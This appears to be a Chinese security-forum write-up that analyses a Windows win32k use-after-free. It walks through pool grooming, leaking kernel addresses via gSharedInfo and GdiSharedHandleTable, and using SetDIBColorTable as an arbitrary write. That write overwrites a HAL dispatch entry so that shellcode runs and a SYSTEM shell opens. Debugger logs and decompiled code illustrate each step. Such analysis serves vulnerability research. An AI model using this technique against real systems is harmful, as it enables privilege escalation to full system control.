关于漏洞的成因,以上两篇引用文章对漏洞的成因已经介绍的很详细,这里不再赘述.本文主要分析漏洞复现的调试过程,和漏洞利用方式的讨论.
在poc中先创建大小为0x350的AcceleratorTable,计算公式为:
ACCEL WINAPI CreateAcceleratorTableW( _In_reads_(cAccel) LPACCEL paccel,_In_ int cAccel); 最终的大小等于(cAccel*6+0x32)&~f
然后又创建了0xcb0大小的AcceleratorTable,这么多个0x350之间的存在空隙,由于其他线程会创建对象占用池的原因,那些创建的小块一般不会大于0xcb0,所以会在多个0x350之间的存在空隙之间堆积,而之后创建的0xcb0大小的AcceleratorTable正好以0xcb00+0x350和方式占满整个一页也就是0x1000大小的空间,又因为0xcb0大小的块数量多余0x350的块,最后0xcb0下方方空余部分可以被同样0x350大小的bitmap和gdi对象占位即图中标识为free的块,占位后池排序方式如下图:
poc中出现了2种类型对象,一种是CreateAcceleratorTableW产生的user object对象,还有一种是通过CreateBitmap或GetCurrentObject产生的gdi对象.
在用户态只返回了产生对象的句柄,但是可以通过如下2中方式找到对象的内核泄露地址,
user object可以在user32.dll的导出函数gSharedInfo中找到泄露内核地址,具体计算公式为(SHAREDINFO->aheList+sizeOf(HANDLEENTRY)*(AcceleratorTabl句柄&0xffff))
typedef struct _SHAREDINFO { PSERVERINFO psi; PHANDLEENTRY aheList; ULONG HeEntrySize; } SHAREDINFO, *PSHAREDINFO; typedef struct _HANDLEENTRY { PVOID phead; PVOID pOwner; BYTE bType; BYTE bFlags; WORD wUniq; } HANDLEENTRY, *PHANDLEENTRY;
对于gdi对象可以在PEB结构体中的GdiSharedHandleTable中找到泄露内核地址,具体计算公式为(PEB->GdiSharedHandleTable+ sizeof(HANDLEENTRY) *(gdi对象句柄&0xffff)),下面我们来看调试验证过程.
笔者使用在exsi上用windbg和vs双虚拟机调试内核和用户态的2种方法,具体方法见我的另一篇文章.
对win32k的NtUserCreateAcceleratorTable和win32k!HMAllocObject下断点得到到创建的AcceleratorTable泄露内核地址为fffff900c2877630.
kd> bp win32k!NtUserCreateAcceleratorTable kd> bp win32k!HMAllocObject "gu;" kd> g win32k!CreateAcceleratorTable+0x32: fffff960`00140ed6 488bf8 mov rdi,rax //rax就是AcceleratorTable泄露内核地址 kd> !pool @rax Pool page fffff900c2877630 region is Paged session pool fffff900c2877000 size: 350 previous size: 0 (Allocated) Gla5 fffff900c2877350 size: 50 previous size: 350 (Free) ...Z fffff900c28773a0 size: f0 previous size: 50 (Allocated) Gla4 fffff900c2877490 size: f0 previous size: f0 (Allocated) Gla4 fffff900c2877580 size: a0 previous size: f0 (Allocated) Uscu Process: fffffa8004211060 *fffff900c2877620 size: 350 previous size: a0 (Allocated) *Usac Process: fffffa80020cdb30 Pooltag Usac : USERTAG_ACCEL, Binary : win32k!_CreateAcceleratorTable fffff900c2877970 size: 690 previous size: 350 (Free ) Geto
在用户态查看栈变量
0:000> dv /i /t /v prv local 00000000`001377e0 struct HACCEL__ *[1000] hAccel1 = struct HACCEL__ *[1000] prv local 00000000`00139740 struct HACCEL__ *[1000] hAccel2 = struct HACCEL__ *[1000] 0:000> dq 00000000`001377e0 00000000`001377e0 00000000`00ae0707 00000000`00a00763 00000000`001377f0 00000000`00230809 00000000`00080803 00000000`00137800 00000000`009500f1 00000000`002e06ff 00000000`00137810 00000000`0086079b 00000000`004f0735
在内核态验证这个AcceleratorTable泄露内核地址
kd> dq user32!gSharedInfo 00000000`76ed26e0 00000000`00630a70 00000000`004b0000 00000000`76ed26f0 00000000`00000018 00000000`00631e50 //计算公式为(SHAREDINFO->aheList+sizeOf(HANDLEENTRY)*(AcceleratorTabl句柄&0xffff)) kd> dq 00000000`004b0000+18h*0707 //第一行就是AcceleratorTabl句柄 00000000`004ba8a8 fffff900`c2877630 fffff900`c01dbce0 00000000`004ba8b8 00000000`00ae0008 fffff900`c35ee010 00000000`004ba8c8 fffff900`c01dbce0 00000000`00090008
接下来验证gdi对象hgdiObj=00000000`0F050D4E,内核地址为FFFFF900C3041CC0,在内核态验证
kd> !peb PEB at 000007fffffdc000 ... kd> dt nt!_peb -ny gdi 000007fffffdc000 +0x0f8 GdiSharedHandleTable : 0x00000000`00640000 Void //计算公式为(PEB->GdiSharedHandleTable+ sizeof(HANDLEENTRY) *(gdi对象句柄&0xffff)) kd> dq 0x00000000`00640000 +18h*0D4E //第一行就是gdi对象句柄 00000000`00653f50 fffff900`c3041cc0 41050f05`00000000 00000000`00653f60 00000000`00000000 fffff900`c1f60100 kd> !pool fffff900`c3041cc0 Pool page fffff900c3041cc0 region is Paged session pool fffff900c3041000 size: cb0 previous size: 0 (Allocated) Usac Process: fffffa80020cdb30 *fffff900c3041cb0 size: 350 previous size: cb0 (Allocated) *Gla5 Pooltag Gla5 : GDITAG_HMGR_LOOKASIDE_SURF_TYPE, Binary : win32k.sys
在ddclient进程退出后再次查看gdi对象的池分布情况
kd> !pool fffff900`c3041cc0 Pool page fffff900c3041cc0 region is Paged session pool fffff900c3041000 size: cb0 previous size: 0 (Allocated) Usac Process: fffffa80020cdb30 //可以看到是释放状态 *fffff900c3041cb0 size: 350 previous size: cb0 (Free) *Gla5 Pooltag Gla5 : GDITAG_HMGR_LOOKASIDE_SURF_TYPE, Binary : win32k.sys
之后poc中把后方存在大量0xcb0的AcceleratorTable和0x350的bitmap占满整个一页池布局中的bitmap清除,此时这个gdi对象必定在这些bitnap中一个位置,马上使用0x350的CreateAcceleratorTableW占位,再来看下池布局
kd> !pool FFFFF900c3041cc0 //此时已经被AcceleratorTable占位,导致uaf Pool page fffff900c301ecc0 region is Paged session pool fffff900c3041000 size: cb0 previous size: 0 (Allocated) Usac Process: fffffa80020cdb30 *fffff900c3041cb0 size: 350 previous size: cb0 (Allocated) *Usac Process: fffffa80020cdb30 Pooltag Usac : USERTAG_ACCEL, Binary : win32k!_CreateAcceleratorTable
池风水情况如图:
poc使用SetDIBColorTable对这个uaf的gdi对象进行操作,实现了任意地址3字节的写,原poc采用了写入Window的cbWNDExtra字段操作的buff指针和方式替换systemtoken实现提权,笔者认为太麻烦,改为hookhal函数至shellcode方式实现提权,可以实现相同效果.下面分析uaf的利用过程.
SetDIBColorTable会调用ZwGdiDoPalette进入内核态调用NtGdiDoPalette
UINT __stdcall SetDIBColorTable(HDC hdc, UINT iStart, UINT cEntries, const RGBQUAD *prgbq) { UINT result; // eax if ( cEntries ) //调用内核态NtGdiDoPalette result = ZwGdiDoPalette(hdc, *(_QWORD *)&iStart, cEntries, prgbq, 5, 1); else result = 0; return result; }
NtGdiDoPalette接着又调用了GreSetDIBColorTable
__int64 __fastcall NtGdiDoPalette(__int64 hdc, unsigned __int16 iStart, unsigned __int16 cEntries, RGBQUAD *prgbq, unsigned int value5, int value1) { RGBQUAD *prgbqRef; // r12 signed int Low_cEntries; // ebx unsigned int hr; // er14 int flag; // er13 void *buff; // rsi __int64 GreSetDIBColorTable_Offset; // rax unsigned __int64 prg_Low; // rax signed int hrtemp; // eax size_t v14; // r8 __int64 hdcRef; // [rsp+70h] [rbp+8h] unsigned __int16 iStartRef; // [rsp+78h] [rbp+10h] iStartRef = iStart; hdcRef = hdc; prgbqRef = prgbq; LOWORD(Low_cEntries) = cEntries; hr = 0; flag = 1; buff = 0i64; GreSetDIBColorTable_Offset = value5; if ( value5 > 5 ) return hr; // 如果传进来的不是1 if ( !value1 ) { if ( prgbq ) { if ( cEntries ) { if ( cEntries <= 0x9C4000ui64 ) { // 分配buff buff = (void *)AllocFreeTmpBuffer(4 * (unsigned int)cEntries); iStart = iStartRef; } flag = buff != 0i64 ? 1 : 0; hdc = hdcRef; GreSetDIBColorTable_Offset = value5; } else { flag = 0; } } if ( flag ) { Low_cEntries = (unsigned __int16)Low_cEntries; // 调用GreSetDIBColorTable hrtemp = ((__int64 (__fastcall *)(__int64, _QWORD, _QWORD, void *))*(&palfun + GreSetDIBColorTable_Offset))( hdc, iStart, (unsigned __int16)Low_cEntries, buff); hr = hrtemp; if ( (unsigned __int16)Low_cEntries < hrtemp ) hrtemp = Low_cEntries; if ( hrtemp > 0 && prgbqRef ) { v14 = hrtemp; if ( &prgbqRef[v14] > W32UserProbeAddress || &prgbqRef[v14] <= prgbqRef ) *(_BYTE *)W32UserProbeAddress = 0; memmove(prgbqRef, buff, v14 * 4); } } goto LABEL_27; } if ( cEntries <= 0u ) { // 实际上都是调用GreSetDIBColorTable_Offset LABEL_11: hr = ((__int64 (__fastcall *)(__int64, _QWORD, _QWORD, void *))*(&palfun + GreSetDIBColorTable_Offset))( hdc, iStart, (unsigned __int16)Low_cEntries, buff); LABEL_27: if ( buff ) FreeTmpBuffer(buff); return hr; } if ( cEntries <= 0x9C4000ui64 ) // 分配堆 buff = (void *)AllocFreeTmpBuffer(4 * (unsigned int)cEntries); if ( !buff ) return hr; prg_Low = (unsigned __int64)&prgbqRef[(unsigned __int16)Low_cEntries]; if ( prg_Low > (unsigned __int64)W32UserProbeAddress || prg_Low <= (unsigned __int64)prgbqRef ) *(_BYTE *)W32UserProbeAddress = 0; memmove(buff, prgbqRef, 4i64 * (unsigned __int16)Low_cEntries); iStart = iStartRef; hdc = hdcRef; // 这里又到了lable1执行GreSetDIBColorTable GreSetDIBColorTable_Offset = value5; goto LABEL_11; } __int64 __fastcall GreSetDIBColorTable(HDC hdc, unsigned int iStart, int Low_cEntries, tagRGBQUAD *prgbq) { unsigned int v4; // esi tagRGBQUAD *v5; // rbp int v6; // er12 unsigned int iret; // edi XEPALOBJ *v8; // rbx SURFACE *surf; // rdx __int64 xpLookup; // rax int iLast; // edi __int64 xp; // [rsp+20h] [rbp-68h] XEPALOBJ *xpobjFrom; // [rsp+28h] [rbp-60h] int v15; // [rsp+30h] [rbp-58h] int v16; // [rsp+34h] [rbp-54h] __int64 devLock; // [rsp+38h] [rbp-50h] __int64 v18; // [rsp+40h] [rbp-48h] __int64 v19; // [rsp+48h] [rbp-40h] int v20; // [rsp+50h] [rbp-38h] __int64 v21; // [rsp+58h] [rbp-30h] int v22; // [rsp+60h] [rbp-28h] int v23; // [rsp+64h] [rbp-24h] // poc中istart为0 v4 = iStart; v5 = prgbq; v6 = Low_cEntries; iret = 0; xpobjFrom = 0i64; v15 = 0; v16 = 0; XDCOBJ::vLock((XEPALOBJ *)&xpobjFrom, hdc); v8 = xpobjFrom; if ( xpobjFrom ) { v21 = 0i64; v22 = 0; v23 = 0; devLock = 0i64; v18 = 0i64; v19 = 0i64; v20 = 0; DEVLOCKOBJ::bPrepareTrgDco((DEVLOCKOBJ *)&devLock, 0i64); DEVLOCKOBJ::vLockNoDrawing((DEVLOCKOBJ *)&devLock, (struct XDCOBJ *)&xpobjFrom); surf = SURFACE::pdibDefault; if ( v8->field_1F8 ) surf = (SURFACE *)v8->field_1F8; if ( surf->field_64 || !surf->field_B8 || (unsigned int)(surf->field_60 - 1) > 2 ) { EngSetLastError(6); } else { *(_DWORD *)(v8->field_50 + 8) |= 0xFu; // 0x78偏移量,surf->xpobj实际上就是hdc内核对象xpobjFrom xpLookup = surf->xpobj; xp = xpLookup; // 0x1C是xp的索引 if ( v4 < *(_DWORD *)(xpLookup + 0x1C) ) { iLast = v4 + v6; // 如果要查找的entry索引大于xp的索引界限字段,last就赋值为xp的索引界限字段值 if ( v4 + v6 > *(_DWORD *)(xpLookup + 0x1C) ) iLast = *(_DWORD *)(xpLookup + 0x1C); iret = iLast - v4; XEPALOBJ::vCopy_rgbquad((XEPALOBJ *)&xp, v5, v4, iret); } } DEVLOCKOBJ::vDestructor((DEVLOCKOBJ *)&devLock); } else { EngSetLastError(6); } if ( !v8 ) return iret; XDCOBJ::RestoreAttributes((XDCOBJ *)&xpobjFrom); _InterlockedAdd(&xpobjFrom->flag, 0xFFFFFFFF); return iret; }
这里xp是一个PALETTE64结构正确逆向结果如下,vCopy_rgbquad函数向xp的+0x80+(4*iStartRef)处写入3个字节也就是PALETTEENTRY的rbg3种颜色,可以由用户控制,这里iStartRef是索引值为0
typedef struct PALETTEENTRY{ _BYTE peRed; _BYTE peGreen; _BYTE peBlue; _BYTE peFlags; } #pragma pack(push, 4) typedef struct _PALETTE64 { _BYTE BaseObject[24]; // 0x00 ULONG flPal; // 0x18 ULONG cEntries; // 0x1c ULONG ulTime; // 0x20 ULONG64 hdcHead; // 0x28 ULONG64 hSelected; // 0x30 ULONG64 cRefhpal; // 0x38 ULONG cRefRegular; // 0x3c ULONG64 ptransFore; // 0x40 ULONG64 ptransCurrent; // 0x48 ULONG64 ptransOld; // 0x50 ULONG64 unk_038; // 0x58 ULONG64 pfnGetNearest; // 0x60 ULONG64 pfnGetMatch; // 0x68 ULONG64 ulRGBTime; // 0x70 ULONG64 pRGBXlate; // 0x78 PALETTEENTRY *pFirstColor; // 0x80 struct _PALETTE *ppalThis; // 0x88 PALETTEENTRY apalColors[3]; // 0x90 }PALETTE64 ; #pragma pack(pop) void __fastcall XEPALOBJ::vCopy_rgbquad(PALETTE64 *this, tagRGBQUAD *prgbq, unsigned int iStart, int iret) { __int64 iStartRef; // rbx PALETTE64 *that; // r8 BYTE *writeBuff; // r10 BYTE blue; // al bool EndIret; // zf signed __int32 XlatePalUnique; // ecx __int64 xpRef; // rdx iStartRef = iStart; that = this; // StartRef和iret这里为0,就是pFirstColor writeBuff = (BYTE *)(*(_QWORD *)(*(_QWORD *)this->BaseObject + 0x80i64) + 4 * iStartRef); // 这里就是设置*(DWORD *)(XEPALOBJ + 0x1C) = 1的原因 if ( (unsigned int)(iStartRef + iret) > *(_DWORD *)(*(_QWORD *)this->BaseObject + 0x1Ci64) ) // 0x1C就是xp的索引 iret = *(_DWORD *)(*(_QWORD *)this->BaseObject + 0x1Ci64) - iStartRef; if ( iret ) { do { // 最后一个字节写入为0 writeBuff[3] = 0; blue = prgbq->rgbBlue; ++prgbq; // 第三个字节写入 writeBuff[2] = blue; // 写入第一个字节 *writeBuff = prgbq[-1].rgbRed; writeBuff += 4; EndIret = iret-- == 1; // +4-3=1写入第二个字节 *(writeBuff - 3) = prgbq[-1].rgbGreen; } while ( !EndIret ); } XlatePalUnique = _InterlockedIncrement((volatile signed __int32 *)&ulXlatePalUnique); *(_DWORD *)(*(_QWORD *)that->BaseObject + 0x20i64) = XlatePalUnique; // 这里需要设置*(ULONGLONG **)(XEPALOBJ + 0x88) = &tmp;和xp+0x88相同的值 xpRef = *(_QWORD *)(*(_QWORD *)that->BaseObject + 0x88i64); if ( xpRef != *(_QWORD *)that->BaseObject ) *(_DWORD *)(xpRef + 0x20) = XlatePalUnique; }
下面我们看调试来验证这个结果:
surf->xpobj就是uaf的gdi对象相对于AcceleratorTableW+0x78偏移量位置的对,也就是最终被任意位置写入内存的对象,
在内核态查看:
kd> dq FFFFF900c3041cc0+78h //看到xp=00000000`020f0d50 fffff900`c3041d38 00000000`020f0d50 12344444`00081234 fffff900`c3041d48 00081234`44440008 44440008`12344444 fffff900`c3041d58 12344444`00081234 00081234`44440008 fffff900`c3041d68 44440008`12344444 12344444`00081234 kd> dq 00000000`020f0d50+80h //这里指定的就是hal地址 00000000`020c0dd0 fffff800`03e43c68 00000000`001dbb18 00000000`020c0de0 00000000`00000000 00000000`fdfdfdfd 00000000`020c0df0 00000000`00000000 0c1d2361`21bb903c 00000000`020c0e00 00000000`020c0d20 00000000`00000000 kd> dq fffff800`03e43c68 //原值为fffff800`00000000 fffff800`03e43c68 fffff800`00000000 fffff800`03c43470 fffff800`03e43c78 fffff800`04041f20 00000000`00000000 fffff800`03e43c88 fffff800`03d1c2f0 fffff800`03ff4044 fffff800`03e43c98 fffff800`03ff4990 fffff800`041310d0 fffff800`03e43ca8 fffff800`03d00090 fffff800`03cc4510 fffff800`03e43cb8 fffff800`03cc4510 fffff800`03c41ca4 fffff800`03e43cc8 fffff800`03c42e88 fffff800`03c17534 fffff800`03e43cd8 fffff800`03c41c18 fffff800`04041f20
继续运行程序至以下代码,然后在用户态查看:
执行*(LONGLONG *)(XEPALOBJ + 0x80) = (LONGLONG)(hal + 8); SetDIBColorTable(hdc, 0, 1, &prgbq)后 0:000> dv /i /t /v //dal地址 prv local 00000000`001df9f8 unsigned int64 hal = 0xfffff800`03e43c60 //shellcode地址 prv local 00000000`001dfa00 unsigned int64 target = 0x00000001`3fe7123a
再回到内核态查看
kd> dq 00000000`020f0d50+80h 00000000`020c0dd0 fffff800`03e43c68 00000000`001dbb18 00000000`020c0de0 00000000`00000000 00000000`fdfdfdfd 00000000`020c0df0 00000000`00000000 0c1d2361`21bb903c 00000000`020c0e00 00000000`020c0d20 00000000`00000000 kd> dq fffff800`03e43c68 //新值已经被修改成target地址也就是shellcode地址 fffff800`03e43c68 00000001`3fe7123a fffff800`03c43470 fffff800`03e43c78 fffff800`04041f20 00000000`00000000 fffff800`03e43c88 fffff800`03d1c2f0 fffff800`03ff4044 fffff800`03e43c98 fffff800`03ff4990 fffff800`041310d0
此时可以看到hal地址+8位置的内存数据已经被修改成target地址也就是shellcode地址
接下去调用NtQueryIntervalProfile执行eshellcode,最后成功在win7x64机器上弹出system的cmd,经测试成功率在50%左右,如图:
引用
[公告]LV6级以上的看雪会员可以免费获得《2019安全开发者峰会》门票一张!!
最后于 2天前 被王cb编辑 ,原因: